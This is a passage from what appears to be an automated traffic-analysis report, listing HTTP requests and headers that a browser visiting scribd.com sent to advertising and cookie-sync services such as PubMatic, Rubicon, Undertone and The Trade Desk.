brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?p=159988&gdpr=0&gdpr_consent=&us_privacy=1-N-&pu=https%3A%2F%2Fsync.cootlogix.com%2Fapi%2Fcookie%3FpartnerId%3Dpubmatics2s%26userId%3D%23PMUID%26gdpr%3D0%26gdpr_consent%3D%26us_privacy%3D1-N-&rdf=1 HTTP/1.1Host: image8.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sync.cootlogix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?gdpr=0&gdpr=0&gdpr_consent=&gdpr_consent=&p=160295&pu=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11576%26id%3D%23PMUID&rdf=1 HTTP/1.1Host: image8.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /khaos.json?gdpr=0&us_privacy=1-N- HTTP/1.1Host: token.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://eus.rubiconproject.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: khaos_p=M7A5MT0O-13-DO11; receive-cookie-deprecation=1; audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0oE8GeBX+kBwryUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXC/t3R5oxJCA
Source: global traffic	HTTP traffic detected: GET /ups/58545/occ?verify=true HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usync/?gdpr=0&gdpr_consent=&pubId=69f48c2160c8113 HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /utils/xapi/multi-sync.html?p=12776&us_privacy=1-N- HTTP/1.1Host: secure-assets.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: khaos_p=M7A5MT0O-13-DO11; receive-cookie-deprecation=1; audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0oJPGhVd4JlnDyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXNAPlTu0R9RN
Source: global traffic	HTTP traffic detected: GET /ups/58545/occ?us_privacy=1-N- HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/sync?callerId=21&redirectUri=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D140%26advUuid%3D%5Bssb_sync_pid%5D%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: ssbsync-global.smartadserver.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/user/image/55537adc33d1b40300987e8e?gdpr=&gdpr_consent=&redirect=https%3A%2F%2Fusr.undertone.com%2FuserPixel%2Fsync%3FpartnerId%3D59%26uid%3D%24%7BvdzUserSyncMacro%7D&us_privacy=1-N- HTTP/1.1Host: sync.cootlogix.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: vdz_sync=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_5d69939c=szr14o9XiORlHpldxBuFBsoCD0mAi0CH0ZCGVdZCmwMdmpcfBIOVxsmQwxcPFt%2FMV9%2FRQ5GVGBDW1g5DStqDilDCAZAdBMOWGkIeGsNfhJOSFp3E1xcbFl3aw8qR1sFTnJFXg47CntnCHxSQEZOcxFbDGhYe2FfekRfBUhyRFgJPQ94NA9qXE5RHnFAXFw%2BXytlWHxBD1RIc0ILWj1eLDZOZFJaUktyFF0NPVF7N1gsR1UFQXpNC1xsXXtwMWRSDwsNLAFNA2hFbTUIOAJOXgNgHBx8DUt1NA0kAwlIWiURH0t6U21iTmRSCwAIMDYAVysMISZOclJOSFo3Bj9LMR8uMRVqSk5VVQxYTUR0Szw3HzsZAwpaeFdWXGAKKWMOLl0NXRlzWFdbYF1iMworSUFWSXMRDF9tWndiXSxSQEYbLRsBXDsdJj0CARROXlp0QldYalt9ZlV9QlpRQXZCDg9qCHhiVClSQEYRMTwJSzkEKnBWPAIZAQU%3D; vdzj1_805786a6=BSU11nAusHLDEszpFWMFEjo4KiABCVJUGldGLn9xdhYcRgp2QUd5L3R1Qk0UDSRCECxuaGdFSUQLeE1DfC4mdhAeRg0kEUF4L3dyRhhSQmNAFXspcHVLQxMMdkISfnx0dEQZE1p0EUdqYGZzQh5EW3FER3t%2FdnFAG0BecEJDLSpzIxBYXEx3R0MpfnJyQxgVDSMTEXF7cXFETEdeIBFRZG5ycRIbFAp5FxJ7KCZ9RRwRD3AURHEtcidRVlJYd0ZDKX5wIEtOFVolQkopdXx9Fx9EWnVXLmRuJyoGFARMe0VfaisgNQFYShU8WVE7KTc2GhUeTHtXSi10JyNCGBZDIEwSeWF8J0tOXQ8nFkplfnV0FxkWW3JNQ3koZmlRGR8ALxAQPCUrKzoeUlRjQ0R%2FfyV0FRkTXyQQS3h8cSMVH0INdBcSajE%3D; vdz_r=https%3A%2F%2Fusr.undertone.com%2FuserPixel%2Fsync%3FpartnerId%3D59%26uid%3D23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_fe46ff5e=bDo12slQc2UxZv1hTCE4hAkAhFj8EQkpuKE5kBQFgSz8QBwxjR1hgAAJlSW0SUg1jEAhzTxBgHmlDAg1mSwhmVwZkG2pGAF8wEAlmAFB3VHhAAlplEVxoVQVkSWJCBFA3QlVgV1NgTW9UHUpiQghlVgJkTGlFA1xnElxhUgVlHTxBVwt2X05kBQEwTGpOCAs2RFswVQJlSW0VUlxhF1hzTxBjSWhDAFg1Fw1lUAE0TmpGAF9sRFlhVQZ3VHhAAlwxSlRhV1A3SzkSBwsxF15hAAFiTThUHUpiQQo0VgU2Gj4QBlowR1liWwNmTG9HAQl2X05kBQVsT20UBlxmSwhhAQJlSW0XUl4wRQlzTxBjTT9CCFllRV4zVAo0TG0QUA5nRFwyAlB3VHhABw0wQVswUgRgSWhHBlBiQ1liUVZlHDhUHUpiQVpoUQsxHm1FUgo3S1RoAgoxSmIQAlh2X05nVQFlGWhCVFBgFlg1VAs0QWJOVQ1gR1hzTxBjTT4VB1FsFQpmUQc0SW0SUwphQw9nAgV3VHhAB1ljF1tiAlAwQWhEUl5iFwlgAVFsTmpUHUpiRlhiVANmHT4UU1FgQFxpBwc2SGpOCVx2X05nV1M0HD5OUwlnFw5pVVQ0GWsXBlE1RQ5zTxBjTT8QAlxkR1tpUgoxTzxEV1AwElxgV1B3VHhABQsySlphVABnTjxGUlhmF1hpVQYwGT9UHUpiRQ1mWgdnTmhCVQ03RFQ1WwpgSz4TUl12X05nUVQwTTxCAw0yEllkVQI3Tm1FAAxgEg5zTxBjSmoXA15jQw40AFAzGmNBBFxjRVthAlZ3VHhABw5tQwgwVAYwQDxBAFpnQVhpVQs2S2pUHUpiRFtjAFEzQGMVVwkyRw9jVANkS25EVFx2LkBzBFYlCnhMSko9ACkEQQgzGTYFVER2FAghERBvWnhaEw8wAx4SDFwmHTQCE1J2UUBzFkEFCjMAUAstUVZzQR53HyoGE1J2UUBzBEIlKzMSE1J2UUBzEVcxESgTUhx2SU45F0YlC2BZHh0
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?p=160318&gdpr=&gdpr_consent=&pu=https%3A%2F%2Fimage4.pubmatic.com%2FAdServer%2FSPug%3Fp%3D160318%26pmc%3DPM_PMC%26pr%3Dhttps%253A%252F%252Fusr.undertone.com%252FuserPixel%252Fsync%253FpartnerId%253D53%2526uid%253D%2523PMUID&us_privacy=1-N- HTTP/1.1Host: image8.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /iu3?cm3ppd=1&d=dtb-pub&csif=t&dl=n-mediagrid_n-index_rx_n-acuityads_n-MediaNet_ox-db5_n-colossusMedia_n-cadent_n-adman-v2_n-onetag_pm-db5_n-simpli.fi_ym_n-vmg_n-nativo_sovrn_gg_n-adMediaV1_n-Ogury_n-Beeswax_smrt_n-inmobi_cnv_n-Seedtag_rbd_ppt_an-db5_n-Rise_3lift&dcc=t HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /js/usersync.html?partnerid=59&gdpr=&gdpr_consent=&us_privacy=&redirect=https%3A%2F%2Fsync.cootlogix.com%2Fapi%2Fcookie%3FpartnerId%3Dundertonenew%26userId%3D%24%7BUIDENC%7D%26gdpr%3D%24%7Bgdpr%7D%26gdpr_consent%3D%24%7Bgdpr_consent%7D%26us_privacy%3D%24%7Bus_privacy%7D HTTP/1.1Host: cdn.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://sync.cootlogix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=sirnsvg&ttd_tpi=1&gdpr=0&gdpr_consent=&us_privacy=1-N- HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /track/rid?ttd_pid=j6w8ta9&fmt=json HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /api/config/prebid HTTP/1.1Host: id5-sync.comConnection: keep-aliveContent-Length: 398sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /gm/v3 HTTP/1.1Host: id5-sync.comConnection: keep-aliveContent-Length: 1356sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /getuid?https%3A%2F%2Fsync.cootlogix.com%2Fapi%2Fcookie%3FpartnerId%3Dappnexus%26userId%3D%24UID%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D&gdpr=&gdpr_consent= HTTP/1.1Host: secure.adnxs.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1; XANDR_PANID=24dbrseDowk2Tea9qm3uMABTmiFnTIm2QAbN3-EUqjhlicKUPETACtUGLX_c-IrOzrzny_F2Y9NDAzkaxY_Z_EfGF9cz6wrkKtt5g-96Lto.
Source: global traffic	HTTP traffic detected: GET /universal/v1?supply_id=Wog2sp89&gdpr=0&gdpr_consent= HTTP/1.1Host: match.sharethrough.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /pixel?gdpr=0&gdpr_consent=&redir=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D130%26advUuid%3D%24UID&sovrn_retry=true HTTP/1.1Host: ap.lijit.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usersync2/rmpssp?sub=primis&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /userPixel/sync?partner=rubicon&uid=M7A5MT0O-13-DO11 HTTP/1.1Host: usr.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cookie?redirect_url=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D143%26advUuid%3D%24UID%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: cm.adform.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /userPixel/syncr?gdpr=&gdprstr=&partnerId=null&r=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3Dundertone%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Db%26uid%3D%24UIDENC HTTP/1.1Host: usr.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=25&gdpr=%5BGDPR%5D&gdpr_consent=%5BUSER_CONSENT%5D&ovsid=%7B%7BAPID%7D%7D&redirect=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11585%26id%3D%3Cvsid%3E&type=ris HTTP/1.1Host: contextual.media.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /userPixel/sync?partnerId=39&uid=b909ece1-471c-4eed-af29-9516eb8a19da HTTP/1.1Host: usr.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /userPixel/sync?partner=rubicon&uid=M7A5MT0O-13-DO11&us_privacy=1-N- HTTP/1.1Host: usr.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/user/pixel/?redirect=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D151%26advUuid%3D%24%7BuserId%7D%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: sync.kueezrtb.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
